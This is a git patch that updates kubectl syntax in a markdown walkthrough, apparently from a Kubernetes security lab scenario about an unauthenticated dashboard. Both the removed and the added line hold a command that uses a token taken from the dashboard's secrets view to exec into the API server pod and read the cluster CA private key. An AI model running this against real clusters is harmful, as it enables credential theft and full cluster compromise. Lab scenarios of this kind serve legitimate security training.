From 8c3e123d8ae7e65e605b8ca1d90e2f35dd7fb938 Mon Sep 17 00:00:00 2001 From: MrIntern Date: Fri, 19 Aug 2022 12:46:11 +0100 Subject: [PATCH] correct deprecated syntax this syntax is being deprecated and produces a warning old syntax: kubectl .... exec [POD] [COMMAND] new syntax: kubectl ... exec [POD] -- [COMMAND] --- Scenario Walkthroughs/Unauthenticated-Kubernetes-Dashboard.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Scenario Walkthroughs/Unauthenticated-Kubernetes-Dashboard.md b/Scenario Walkthroughs/Unauthenticated-Kubernetes-Dashboard.md index d382e4f..0740c94 100644 --- a/Scenario Walkthroughs/Unauthenticated-Kubernetes-Dashboard.md +++ b/Scenario Walkthroughs/Unauthenticated-Kubernetes-Dashboard.md @@ -9,4 +9,4 @@ 2. Choose the secrets resource for the `kubernetes-dashboard-token` 3. click the view icon to see the value we need. 6. Now with the token we just need to provide it to kubectl to get our `ca.key` file - 1. `kubectl --token="[TOKEN]" -shttps://[API_SERVER_IP]:6443 --insecure-skip-tls-verify -n kube-system exec kube-apiserver-kubedash-control-plane cat /etc/kubernetes/pki/ca.key` + 1. `kubectl --token="[TOKEN]" -shttps://[API_SERVER_IP]:6443 --insecure-skip-tls-verify -n kube-system exec kube-apiserver-kubedash-control-plane -- cat /etc/kubernetes/pki/ca.key`